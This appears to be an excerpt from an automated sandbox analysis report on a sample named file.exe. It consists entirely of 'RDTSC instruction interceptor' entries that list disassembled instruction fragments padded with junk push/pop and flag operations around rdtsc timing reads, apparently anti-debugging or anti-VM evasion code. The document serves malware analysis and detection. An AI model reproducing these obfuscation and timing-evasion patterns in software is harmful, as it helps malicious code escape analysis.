Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F33 second address: 672F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F37 second address: 672F49 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DB4EC7BA6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F49 second address: 672F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F4D second address: 672F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD57 second address: 68AD5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD5D second address: 68AD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F3DB4EC7BB3h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD78 second address: 68AD83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F3DB4B27726h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD83 second address: 68AD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3DB4EC7BA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD8F second address: 68AD98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AD98 second address: 68ADBA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b js 00007F3DB4EC7BA6h 0x00000011 jmp 00007F3DB4EC7BB0h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68ADBA second address: 68ADBF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68ADBF second address: 68ADC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68ADC5 second address: 68ADE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F3DB4B27735h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A236 second address: 68A245 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DB4EC7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A245 second address: 68A24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A4E1 second address: 68A4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A8C0 second address: 68A8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jbe 00007F3DB4B27726h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A9F3 second address: 68AA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DB4EC7BAAh 0x00000009 jmp 00007F3DB4EC7BB5h 0x0000000e popad 0x0000000f pop edi 0x00000010 push eax 0x00000011 pushad 0x00000012 jnl 00007F3DB4EC7BA6h 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EBAB second address: 68EBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EEC5 second address: 68EED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3DB4EC7BAAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F12C second address: 68F16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 pushad 0x00000008 clc 0x00000009 jo 00007F3DB4B27736h 0x0000000f jmp 00007F3DB4B27730h 0x00000014 popad 0x00000015 push dword ptr [ebp+122D21D6h] 0x0000001b jmp 00007F3DB4B2772Ch 0x00000020 stc 0x00000021 call 00007F3DB4B27729h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F16D second address: 68F1A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3DB4EC7BACh 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007F3DB4EC7BAFh 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F1A3 second address: 68F1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6904D4 second address: 6904E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3DB4EC7BAAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6904E4 second address: 6904EE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3DB4B27726h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6904EE second address: 6904F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6904F4 second address: 69051A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3DB4B2772Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jnp 00007F3DB4B27726h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pushad 0x00000016 js 00007F3DB4B27726h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69051A second address: 690538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3DB4EC7BA6h 0x0000000a jmp 00007F3DB4EC7BAFh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690538 second address: 69053E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69053E second address: 690548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690548 second address: 69054C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0F52 second address: 53E0F58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0F58 second address: 53E0F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3DB4B2772Ch 0x00000009 sbb ax, 21A8h 0x0000000e jmp 00007F3DB4B2772Bh 0x00000013 popfd 0x00000014 mov ah, 10h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ecx 0x0000001a jmp 00007F3DB4B27730h 0x0000001f mov dword ptr [esp], ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0F9A second address: 53E0FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0FA0 second address: 53E0FA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0D2B second address: 53D0D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebp 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3DB4EC7BAFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0D44 second address: 53D0D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0D48 second address: 53D0D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410F4F second address: 5410F5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410F5E second address: 5410FB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3DB4EC7BB1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edi, ecx 0x00000013 mov bh, cl 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov bx, ABC4h 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3DB4EC7BB5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410FB4 second address: 5410FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410FBA second address: 5410FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410FBE second address: 5410FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B011D second address: 53B0196 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3DB4EC7BAEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3DB4EC7BACh 0x00000019 adc ax, 3018h 0x0000001e jmp 00007F3DB4EC7BABh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F3DB4EC7BB8h 0x0000002a sub ax, 9A78h 0x0000002f jmp 00007F3DB4EC7BABh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0196 second address: 53B0276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov dx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov eax, 0B14409Fh 0x00000013 pushfd 0x00000014 jmp 00007F3DB4B27734h 0x00000019 sub esi, 53E00408h 0x0000001f jmp 00007F3DB4B2772Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 jmp 00007F3DB4B27736h 0x0000002d push dword ptr [ebp+04h] 0x00000030 jmp 00007F3DB4B27730h 0x00000035 push dword ptr [ebp+0Ch] 0x00000038 pushad 0x00000039 mov si, D02Dh 0x0000003d mov ax, 4229h 0x00000041 popad 0x00000042 push dword ptr [ebp+08h] 0x00000045 pushad 0x00000046 call 00007F3DB4B27732h 0x0000004b pushfd 0x0000004c jmp 00007F3DB4B27732h 0x00000051 add si, 7B28h 0x00000056 jmp 00007F3DB4B2772Bh 0x0000005b popfd 0x0000005c pop esi 0x0000005d push eax 0x0000005e push edx 0x0000005f pushfd 0x00000060 jmp 00007F3DB4B2772Fh 0x00000065 sub esi, 7906E46Eh 0x0000006b jmp 00007F3DB4B27739h 0x00000070 popfd 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D09BE second address: 53D09F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3DB4EC7BB1h 0x00000009 or ecx, 409CF3E6h 0x0000000f jmp 00007F3DB4EC7BB1h 0x00000014 popfd 0x00000015 push eax 0x00000016 pop edx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D09F7 second address: 53D0A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27737h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F3DB4B27732h 0x00000012 pop eax 0x00000013 mov ecx, ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0A2C second address: 53D0A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DB4EC7BAAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0A4B second address: 53D0A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0A51 second address: 53D0A57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0A57 second address: 53D0A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D055B second address: 53D056A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D056A second address: 53D0570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0570 second address: 53D05DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3DB4EC7BB6h 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007F3DB4EC7BB1h 0x00000018 mov ebx, eax 0x0000001a pop esi 0x0000001b jmp 00007F3DB4EC7BADh 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F3DB4EC7BAEh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F3DB4EC7BAAh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D05DB second address: 53D05DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D05DF second address: 53D05E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0488 second address: 53D04CB instructions: 0x00000000 rdtsc 0x00000002 mov si, 076Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 0282AB8Bh 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 mov ax, 4EB9h 0x00000015 push eax 0x00000016 pop edx 0x00000017 popad 0x00000018 pushfd 0x00000019 jmp 00007F3DB4B27732h 0x0000001e adc ch, FFFFFFC8h 0x00000021 jmp 00007F3DB4B2772Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d mov bx, ax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D04CB second address: 53D0516 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushfd 0x00000009 jmp 00007F3DB4EC7BB8h 0x0000000e xor ah, 00000058h 0x00000011 jmp 00007F3DB4EC7BABh 0x00000016 popfd 0x00000017 mov ecx, 4ABFFD0Fh 0x0000001c popad 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3DB4EC7BB1h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D01F0 second address: 53D01F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D01F6 second address: 53D0240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3DB4EC7BB0h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 movzx esi, dx 0x00000017 jmp 00007F3DB4EC7BB3h 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0240 second address: 53D0244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0244 second address: 53D0248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0248 second address: 53D024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D024E second address: 53D0254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0254 second address: 53D0258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0258 second address: 53D025C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E011C second address: 53E0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0120 second address: 53E0126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0126 second address: 53E012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E012C second address: 53E0130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0130 second address: 53E0134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0134 second address: 53E020F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F3DB4EC7BB3h 0x00000010 sbb esi, 001C40FEh 0x00000016 jmp 00007F3DB4EC7BB9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F3DB4EC7BB0h 0x00000022 sbb ecx, 42B6CFF8h 0x00000028 jmp 00007F3DB4EC7BABh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 mov cl, D1h 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F3DB4EC7BB7h 0x0000003a sub ax, F06Eh 0x0000003f jmp 00007F3DB4EC7BB9h 0x00000044 popfd 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 popad 0x00000049 mov ebp, esp 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e pushfd 0x0000004f jmp 00007F3DB4EC7BB9h 0x00000054 and si, 1756h 0x00000059 jmp 00007F3DB4EC7BB1h 0x0000005e popfd 0x0000005f push esi 0x00000060 pop edx 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410E71 second address: 5410E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410E75 second address: 5410E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0321 second address: 53F0327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0327 second address: 53F0350 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b jmp 00007F3DB4EC7BB8h 0x00000010 and dword ptr [eax], 00000000h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0350 second address: 53F0361 instructions: 0x00000000 rdtsc 0x00000002 mov bl, CCh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 and dword ptr [eax+04h], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0361 second address: 53F0374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0374 second address: 53F03C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3DB4B2772Fh 0x00000013 adc eax, 56455B5Eh 0x00000019 jmp 00007F3DB4B27739h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F03C6 second address: 53F03CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F03CC second address: 53F03D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0383 second address: 53D0389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0389 second address: 53D0399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DB4B2772Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0399 second address: 53D03A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
